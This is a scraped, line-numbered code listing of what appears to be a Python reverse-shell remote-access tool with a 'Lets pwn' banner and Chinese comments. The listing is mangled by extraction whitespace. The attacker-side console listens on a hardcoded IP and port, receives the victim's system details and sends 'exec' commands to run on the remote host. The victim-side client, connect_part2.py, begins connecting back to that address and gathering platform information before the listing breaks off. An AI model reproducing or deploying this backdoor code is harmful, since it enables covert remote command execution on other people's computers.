    
      
      
    
     
     
    
     
     
    
      
      
    
       
       ==========+<+<+szhhDDDD<-(<((((~~~~~zDDh=+=zh=((<+++<<(<<<<<
      
      
    
     
     
  66. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       ===s========+<<<++++<+D+~(<(((((~~~(s+=shzzs<(+=++++<((<(<<<
      
      
    
     
     
  67. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       =====s=======++((~~~-+h=(<<<+<((((-(s<--(<<((<====+<<((<<<(+
      
      
    
     
     
  68. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       ==+===ss======+=<~((<+==((<<(~~(((-<=+~--~(<+++++=+<<(((<+<+
      
      
    
     
     
  69. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       s=====ssss=+++==++++=<++(<+~~---((~++(((((<++++<+++<<((((<<=
      
      
    
     
     
  70. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       ss===sss=s==s=+=+++++<<+(<(~~~~-~(~<<~(<<<<=<<=+++<<<<((<<<=
      
      
    
     
     
  71. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       sss==sszssss=s=+++++<((<=<(~~~~--~<=<~~(<<<+<<+++<<+<<<(+<<s
      
      
    
     
     
  72. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       sssssszzszss=====+++<((=s<(~~~~~~~+=(~(~(+<<++++++==++<<=<=s
      
      
    
     
     
  73. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       ssssszhhzzzssss==++<<((+s+<(~~~~~(=+--~~~<<<++++===s++<+++zs
      
      
    
     
     
  74. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zssssszzzzzhzsss=++<<~(<+=<<((~(((=(-'~(((<+++=szs=s=++++=zz
      
      
    
     
     
  75. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       hsszzssszzzhzss=s++<((((+===<((<+<+~'--~(<<<=sszsss====+=szz
      
      
    
     
     
  76. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       hzsszzzsszzzhsszz=<<<<<<=szz=+==ss=<-~~(~(+=+=sss==s===+szzz
      
      
    
     
     
  77. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       hhzsszzzzzzzzzzhzss=<+++shDhhzzhhhh(~(((<+=+=ssssszss===szzs
      
      
    
     
     
  78. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zhzssszzzzzzzhz=+=s+==+<<zDDDDhDDz<'~(<<+<((=ssszzzs===zzzss
      
      
    
     
     
  79. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       hhhhzzzzzzzzzhz=ss=s++<<(<zBDDDDh<'~~(~(<<++====+===++szzsss
      
      
    
     
     
  80. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       hhhhzzzzzzzzzzzssszzss==+<+hDDDD+~~(<+<+=+++szzzzzs==szzssss
      
      
    
     
     
  81. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zhhhhhhzzzzzzzzzss=======+++hBB=(<<<(<<++==szssszs=+=zhzzsss
      
      
    
     
     
  82. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zhhhDhhzzzsszzzhzsszzss+===+sDh+==+<<++===ssssssss=szhhzzzzs
      
      
    
     
     
  83. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       hhhhhhhhzzzzhhhhhzsssss=ssssshzs=++=+=+==sssssss=sszhzzzzzzs
      
      
    
     
     
  84. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zzhhhhhhDDhhhhhhhzzzssssszsszhhz=======ssssszsss=shhhzzzsszs
      
      
    
     
     
  85. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zzzhzhhDDDDDhhhhhhhzzzzhhhzhhhhhzzzhzssszzzzzzszhzhhzzzzzzzs
      
      
    
     
     
  86. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zzzzhhhhDhDDDhhhDhhhhzzhhhhzzhzzhhhhzszzhzzszhhhhhhzzzzsszzs
      
      
    
     
     
  87. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zzzhhhhhDDDDDDDDDDDhhhzs=zzzzzzzss=szzhhhhhhhDDhhzzzzzzzzsss
      
      
    
     
     
  88. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zzzhhhhhDhhhDDDDDDDDDDhzzs=szss==szzhhDDDDDDDDhhhhzzzzzzzzsz
      
      
    
     
     
  89. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zzhhhhhhhhhhDDDDDDDDDDDDDzs=ss==szDDDDDDDDDDDhhDDhhzzzzzzzsz
      
      
    
     
     
  90. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zzhhzhhhhhhDDDDDDDDDDDDDDDhhhhzhDDDhDDDDDDhhhhhhhhhzzzzzzzsz
      
      
    
     
     
  91. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       zzzzzhhhhhhhDDDDDDDDDDDDDDDDDDDDDDhDDDhhhhhhhzhzzzhzzzzzzzzs
      
      
    
     
     
  92. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       
      
      
    
     
     
  93. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                    --=[ Version 1.0 Alpha Scarlet ]=--
      
      
    
     
     
  94. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                    --=[ I am ready ... Lets pwn   ]=--
      
      
    
     
     
  95. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       
      
      
    
     
     
  96. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       '''
      
      
    
     
     
  97. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       return script_colors(
       
       'gray',banner)
      
      
    
     
     
  98. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  99. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 控制台函数
      
      
    
     
     
  100. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       def console(connection, address):
      
      
    
     
     
  101. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       print script_colors(
       
       "g", 
       
       " [ Info ] ") + script_colors(
       
       "b", 
       
       "Connection Established from %sn" % (address))
      
      
    
     
     
  102. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  103. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           sysinfo = connection.recv(
       
       2048).split(
       
       ",")
      
      
    
     
     
  104. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  105. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           x_info = 
       
       ''
      
      
    
     
     
  106. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           x_info += script_colors(
       
       "g",
       
       "Operating System: ") +
       
       "%sn" % (script_colors(
       
       "b",sysinfo[
       
       0]))
      
      
    
     
     
  107. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           x_info += script_colors(
       
       "g",
       
       "Computer Name: ") +
       
       "%sn" % (script_colors(
       
       "b",sysinfo[
       
       1]))
      
      
    
     
     
  108. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           x_info += script_colors(
       
       "g",
       
       "Username: ") + 
       
       "%sn" % (script_colors(
       
       "b",sysinfo[
       
       5]))
      
      
    
     
     
  109. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           x_info += script_colors(
       
       "g",
       
       "Release Version: ") + 
       
       "%sn" % (script_colors(
       
       "b",sysinfo[
       
       2]))
      
      
    
     
     
  110. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           x_info += script_colors(
       
       "g",
       
       "System Version: ") + 
       
       "%sn" % (script_colors(
       
       "b",sysinfo[
       
       3]))
      
      
    
     
     
  111. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           x_info += script_colors(
       
       "g",
       
       "Machine Architecture: ") + 
       
       "%s" % (script_colors(
       
       "b",sysinfo[
       
       4]))
      
      
    
     
     
  112. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  113. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       if sysinfo[
       
       0] == 
       
       "Linux":
      
      
    
     
     
  114. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               user = sysinfo[
       
       6] + 
       
       "@" + address
      
      
    
     
     
  115. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       elif sysinfo[
       
       0] == 
       
       "Windows":
      
      
    
     
     
  116. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               user = sysinfo[
       
       7] + 
       
       "@" + address
      
      
    
     
     
  117. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       else:
      
      
    
     
     
  118. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               user = 
       
       "Unknown@" + address
      
      
    
     
     
  119. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  120. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       while 
       
       1:
      
      
    
     
     
  121. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               command = raw_input(
       
       " " + script_colors(
       
       "underline",
      
      
    
     
     
  122. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                                                       script_colors(
       
       "lgray",
       
       "%s" % (user))) + 
       
       " " + script_colors(
       
       'lgray',
       
       ">") + 
       
       " ").strip()
      
      
    
     
     
  123. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       if command.split(
       
       " ")[
       
       0] == 
       
       "exec":
      
      
    
     
     
  124. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       if len(command.split(
       
       " ")) == 
       
       1:
      
      
    
     
     
  125. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "r", 
       
       "n [!] ") + script_colors(
       
       "b", 
       
       "Command: exec <command>")
      
      
    
     
     
  126. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "n Execute Argument As Command On Remote Hostn")
      
      
    
     
     
  127. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       continue
      
      
    
     
     
  128. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  129. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   res = 
       
       1
      
      
    
     
     
  130. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   msg = 
       
       " "
      
      
    
     
     
  131. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  132. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       while len(command.split(
       
       " ")) > res:
      
      
    
     
     
  133. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                       msg += command.split(
       
       " ")[res] + 
       
       " "
      
      
    
     
     
  134. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                       res += 
       
       1
      
      
    
     
     
  135. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  136. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   response = send_data(connection,
       
       "exec " + msg)
      
      
    
     
     
  137. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  138. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       if response.split(
       
       "n")[
       
       -1].strip() != 
       
       "":
      
      
    
     
     
  139. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                       response += 
       
       "n"
      
      
    
     
     
  140. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       if response.split(
       
       "n")[
       
       0].strip()!=
       
       "":
      
      
    
     
     
  141. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                       response = 
       
       "n" + response
      
      
    
     
     
  142. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  143. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       for x 
       
       in response.split(
       
       "n"):
      
      
    
     
     
  144. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print 
       
       " " + x
      
      
    
     
     
  145. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       elif command == 
       
       "":
      
      
    
     
     
  146. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       continue
      
      
    
     
     
  147. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       elif command == 
       
       "cls":
      
      
    
     
     
  148. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       if sysinfo[
       
       0] == 
       
       "Linux":
      
      
    
     
     
  149. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                       dp = os.system(
       
       "clear")
      
      
    
     
     
  150. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       elif sysinfo[
       
       0] == 
       
       "Windows":
      
      
    
     
     
  151. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                       dp = os.system(
       
       "cls")
      
      
    
     
     
  152. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       elif command == 
       
       "help":
      
      
    
     
     
  153. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       print script_colors(
       
       "lgray",help())
      
      
    
     
     
  154. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       elif command == 
       
       "sysinfo":
      
      
    
     
     
  155. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       if sysinfo[
       
       0] == 
       
       "Linux":
      
      
    
     
     
  156. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "Operating System: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       0]))
      
      
    
     
     
  157. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "Computer Name: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       1]))
      
      
    
     
     
  158. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "Username: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       6]))
      
      
    
     
     
  159. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "Release Version: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       2]))
      
      
    
     
     
  160. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "System Version: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       3]))
      
      
    
     
     
  161. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "Machine Architecture: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       4]))
      
      
    
     
     
  162. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       elif sysinfo[
       
       0] == 
       
       "Windows":
      
      
    
     
     
  163. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "Operating System: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       0]))
      
      
    
     
     
  164. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "Computer Name: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       1]))
      
      
    
     
     
  165. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "Username: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       7]))
      
      
    
     
     
  166. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "Release Version: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       2]))
      
      
    
     
     
  167. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "System Version: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       3]))
      
      
    
     
     
  168. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                    
       
       print script_colors(
       
       "g", 
       
       "Machine Architecture: ") + 
       
       "%s" % (script_colors(
       
       "b", sysinfo[
       
       4]))
      
      
    
     
     
  169. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  170. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       elif command == 
       
       "exit()":
      
      
    
     
     
  171. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
                   connection.send(
       
       "exit()")
      
      
    
     
     
  172. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       print script_colors(
       
       "b",
       
       " [+] ") + script_colors(
       
       "g",
       
       "Shell Going Down")
      
      
    
     
     
  173. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       break
      
      
    
     
     
  174. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       else:
      
      
    
     
     
  175. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
                
       
       print script_colors(
       
       "red",
       
       "[!] Unknown Command")
      
      
    
     
     
  176. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  177. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 帮助函数
      
      
    
     
     
  178. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       def help():
      
      
    
     
     
  179. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           help_list = {}
      
      
    
     
     
  180. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           help_list[
       
       "sysinfo"] = 
       
       "Display Remote System Information"
      
      
    
     
     
  181. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           help_list[
       
       "exec"] = 
       
       "Execute Argument Ad Command On Remete Host"
      
      
    
     
     
  182. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           help_list[
       
       "cls"] = 
       
       "Clears The Terminal"
      
      
    
     
     
  183. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           help_list[
       
       "help"] = 
       
       "Prints this help message"
      
      
    
     
     
  184. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  185. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           return_str = script_colors(
       
       "g", 
       
       "n Command ") + 
       
       " . "
      
      
    
     
     
  186. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           return_str += script_colors(
       
       "b", 
       
       " Descriptionn %sn" % (script_colors(
       
       "gray", 
       
       "-" * 
       
       50)))
      
      
    
     
     
  187. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  188. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  189. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       for x 
       
       in sorted(help_list):
      
      
    
     
     
  190. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               dec = help_list[x]
      
      
    
     
     
  191. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               return_str += 
       
       " " + script_colors(
       
       "g", x) + 
       
       " - " + script_colors(
       
       "b", dec + 
       
       "n")
      
      
    
     
     
  192. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  193. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       return return_str.rstrip(
       
       "n")
      
      
    
     
     
  194. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  195. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 发送数据
      
      
    
     
     
  196. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       def send_data(connection,data):
      
      
    
     
     
  197. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       try:
      
      
    
     
     
  198. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               connection.send(data)
      
      
    
     
     
  199. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       except socket.error 
       
       as e:
      
      
    
     
     
  200. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       print script_colors(
       
       "red",
       
       "[ - ]") + 
       
       "Unable To Send Data"
      
      
    
     
     
  201. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       return
      
      
    
     
     
  202. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  203. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           result = connection.recv(
       
       2048)
      
      
    
     
     
  204. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           total_size = long(result[:
       
       16])
      
      
    
     
     
  205. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           result = result[
       
       16:]
      
      
    
     
     
  206. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  207. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       while total_size > len(result):
      
      
    
     
     
  208. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               data = connection.recv(
       
       2048)
      
      
    
     
     
  209. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               result += data
      
      
    
     
     
  210. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  211. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       return  result.rstrip(
       
       "n")
      
      
    
     
     
  212. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  213. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 主控制函数
      
      
    
     
     
  214. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       def main_control():
      
      
    
     
     
  215. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       try:
      
      
    
     
     
  216. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       #host = sys.argv[1] # 攻击者主机地址
      
      
    
     
     
  217. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       #port = int(sys.argv[2]) # 攻击者主机端口
      
      
    
     
     
  218. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  219. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               host = 
       
       "192.168.14.45"
      
      
    
     
     
  220. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               port = 
       
       3800
      
      
    
     
     
  221. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  222. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  223. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       except Exception 
       
       as e:
      
      
    
     
     
  224. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       print script_colors(
       
       "red",
       
       "[-]") + 
       
       "Socket Information Not Provided"
      
      
    
     
     
  225. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               sys.exit(
       
       1)
      
      
    
     
     
  226. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  227. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       print script_colors(
       
       "g",
       
       " [+]") + script_colors(
       
       "b",
       
       " Framework Standard Successfully")
      
      
    
     
     
  228. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       print banner()
      
      
    
     
     
  229. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  230. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
       
       # 安装套接字
      
      
    
     
     
  231. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           s.bind((host,port))
      
      
    
     
     
  232. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           s.listen(
       
       5)
      
      
    
     
     
  233. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  234. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       if host == 
       
       "":
      
      
    
     
     
  235. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               host = 
       
       "localhost"
      
      
    
     
     
  236. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  237. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       print script_colors(
       
       "g", 
       
       " [info] ") + script_colors(
       
       "b", 
       
       "Listening on %s%d ..." % (host, port))
      
      
    
     
     
  238. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  239. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       try:
      
      
    
     
     
  240. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               conn,addr = s.accept()
      
      
    
     
     
  241. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       except KeyboardInterrupt:
      
      
    
     
     
  242. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       print 
       
       "nn " + script_colors(
       
       "red", 
       
       "[-]") + script_colors(
       
       "b", 
       
       " User Request An Interrupt")
      
      
    
     
     
  243. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               sys.exit(
       
       0)
      
      
    
     
     
  244. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  245. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           console(conn,str(addr[
       
       0]))
      
      
    
     
     
  246. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  247. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           s.close() 
       
       # 关闭套接字
      
      
    
     
     
  248. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  249. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       if __name__ == 
       
       "__main__":
      
      
    
     
     
  250. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           main_control()

connect_part2.py


   
   
  1. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # -*- coding: utf-8 -*-
      
      
    
     
     
  2. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       import socket,subprocess 
       
       as sp,sys,os,platform
      
      
    
     
     
  3. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  4. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       # 连接函数
      
      
    
     
     
  5. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
       def connect():
      
      
    
     
     
  6. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       try:
      
      
    
     
     
  7. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       # host = str(sys.argv[1])
      
      
    
     
     
  8. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
            
       
       # port = int(sys.argv[2])
      
      
    
     
     
  9. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  10. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               host = 
       
       "192.168.14.45"   
       
       # 测试IP
      
      
    
     
     
  11. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               port = 
       
       3800               
       
       # 测试端口
      
      
    
     
     
  12. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       except Exception 
       
       as e:
      
      
    
     
     
  13. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               sys.exit(
       
       1)
      
      
    
     
     
  14. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  15. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      
      
    
     
     
  16. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           conn.connect((host,port))
      
      
    
     
     
  17. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  18. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
           x_info = 
       
       ""
      
      
    
     
     
  19. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  20. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       #for x in os.uname():
      
      
    
     
     
  21. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       for x 
       
       in platform.uname():
      
      
    
     
     
  22. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
    
       
               x_info += x + 
       
       ","
      
      
    
     
     
  23. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
     
      
      
    
     
     
  24. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
       
       # 平台判断
      
      
    
     
     
  25. 
     
     
    
      
      
    
     
     
    
     
     
    
      
      
        
